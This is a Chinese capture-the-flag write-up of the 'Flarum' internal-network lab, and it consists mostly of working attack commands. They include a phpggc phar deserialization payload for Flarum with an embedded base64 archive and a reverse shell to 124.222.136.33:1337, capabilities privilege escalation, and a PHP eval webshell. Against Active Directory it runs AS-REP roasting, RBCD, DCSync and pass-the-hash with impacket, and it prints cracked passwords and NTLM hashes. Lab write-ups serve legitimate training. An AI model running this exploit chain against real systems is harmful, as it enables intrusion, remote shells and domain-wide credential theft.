【内网渗透】最保姆级的春秋云镜Flarum打靶笔记

目录

flag1

flag3

flag4​

flag2 

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flag1

扫外网

打的是flarum论坛，p牛之前有写过phar反序列化的利用：

从偶遇Flarum开始的RCE之旅 

rockyou.txt爆出administrator/1chris，登录

用这个工具生成phar包

https://github.com/ambionics/phpggc

payload:

./phpggc -p tar -b Monolog/RCE6 system "bash -c 'bash -i >& /dev/tcp/124.222.136.33/1337 0>&1'"

 

后台编辑自定义css

 在css文件内容插入phar包内容

@import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2NDQAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDA0ADAwMDAwMDAwMDAwADAwMDYyMTcgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhcgAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB0ZXN0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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QMQL35SJOXaQdH3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=';

 

用phar协议触发反序列化，反弹shell

.test {
    content: data-uri('phar://./assets/forum.css');
}

 

capabilities提权 

Linux提权之：利用capabilities提权 - f_carey - 博客园 

getcap -r / 2>/dev/null

 

openssl enc -in "/root/flag/flag01.txt"

 读到flag1

 

flag3

切到/tmp目录下wget下载fscan和frp，扫内网搭隧道

• 172.22.60.52、外网Flarum服务
• 172.22.60.8、XIAORANG\DC
• 172.22.60.42、XIAORANG\FILESERVER
• 172.22.60.15、XIAORANG\PC1

再写个webshell连接蚁剑

echo "<?php @eval(\$_POST[1]);?>" > /var/www/html/public/assets/1.php

 在config.php里读到数据库账密

 

蚁剑连上去

读到一个用户表，dump下来并处理成users.txt

 打AS-REP Roasting

proxychains4 impacket-GetNPUsers -dc-ip 172.22.60.8  xiaorang.lab/ -usersfile users.txt

爆出了

$krb5asrep$23$zhangxin@XIAORANG.LAB:872d0819a05f8f00f663e7d0fbf99556$ea31f424385b374ba7aa490a86b2df4090ba2e8b91aabad4e87a10cbdd1b1da3b7437175c0c3e174e6c25906caf2ec8d01fb83b76e4aab1aca953530a57d9336c574723fb3d330f74c4ca9ad509d59795604753f99049b786db8f9fdcc1bd1fde5c4d3ddeb07cd5a70541f462b2ceeb72799e8aae0030a18e32dfede2bef99d08aa042f16f64a29d0b8326302f8344e9bb772553aeac5b79e2ae8bb2d12c02aea11ff584e310265768a196ab6f2a08fb379121875d63cd817666ea522e731d532b2fb86bd8167dc429891d35ce120e319f98260440f45a042ca8530261315967cf284afbb1f366ea41bfaed5
$krb5asrep$23$wangyun@XIAORANG.LAB:0a2b9c8d700e000f2654fc1acff1f8bd$f57139df8ad4eb9bad6f8a94305b9b3597a497eabdeac10f99975cf17b24ee28efab92834eaf6425b9c0dcdc6905d33ee23a6639bebe0e05271779bd7cf99dcc04aeb6c1435c6b33ff871cee35fde60727ae7ea98c08e38b62f36c0ead5860c4dda4fb250e3e83c0be7859fe4915ec55a4ffb6a5ae1b1988687dadb98831387b40e79347fde64e7a8f37a7e27e17da267ba0eec06ec1e3bd82627548af11e504ca0d4f0ca02d9180768a0fbcbc0b83fd3d0d6d8f6c56139661bb743ae9d6ff818d58ed592126aecdd38c415c8c728262daf452e344643a3fd8123ab3ec8272caa802d6b856b33b15b55a26f0

hashcat爆一下

wangyun@xiaorang.lab/Adm12geC

 rdp连接172.22.60.15

给到一个xshell

SharpXDecrypt.exe收集一下密码 

zhangxin@xiaorang.lab/admin4qwY38cc

 一样的rdp连上去

bloodhound收集一下信息

SharpHound.exe -c all

 ​​​​​

发现zhangxin用户是ACCOUNT OPERATORS组的，可以打RBCD

proxychains4 impacket-addcomputer xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -dc-host xiaorang.lab -computer-name 'hacker$' -computer-pass '0x401@admin'
proxychains4 impacket-rbcd xiaorang.lab/zhangxin:'admin4qwY38cc' -dc-ip 172.22.60.8 -action write -delegate-to 'Fileserver$' -delegate-from 'hacker$'
proxychains4 impacket-getST xiaorang.lab/'hacker$':'0x401@admin' -spn cifs/Fileserver.xiaorang.lab -impersonate Administrator -dc-ip 172.22.60.8
export KRB5CCNAME=Administrator.ccache

修改/etc/hosts

172.22.60.15 PC1.xiaorang.lab
172.22.60.42 FILESERVER.xiaorang.lab
172.22.60.8  XIAORANG\DC

psexec无密码连上FILESERVER，拿到SYSTEM权限(psexec自带提权效果)

proxychains4 impacket-psexec Administrator@FILESERVER.xiaorang.lab -k -no-pass -dc-ip 172.22.60.8 -codec gbk

读到flag3 

 

 

flag4

接着FILESERVER有DCSync权限

先创个用户RDP连上去

net user Z3r4y 0x401@admin /add
net localgroup administrators Z3r4y /add

 

但因为靶机配置原因没连上去 

 

直接secretsdump，先导出SYSTEM的hash

proxychains4 impacket-secretsdump -k -no-pass FILESERVER.xiaorang.lab -dc-ip 172.22.60.8

XIAORANG\Fileserver$:aad3b435b51404eeaad3b435b51404ee:951d8a9265dfb652f42e5c8c497d70dc:::

再打dcsync 拿到域管hash

proxychains4 impacket-secretsdump xiaorang.lab/'Fileserver$':@172.22.60.8 -hashes ':951d8a9265dfb652f42e5c8c497d70dc' -just-dc-user Administrator

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c3cfdc08527ec4ab6aa3e630e79d349b:::

 pth横向DC

proxychains4 impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.8 -codec gbk

拿到flag4

flag2 

横向PC1

proxychains4 impacket-smbexec -hashes :c3cfdc08527ec4ab6aa3e630e79d349b xiaorang.lab/administrator@172.22.60.15 -codec gbk

拿到flag2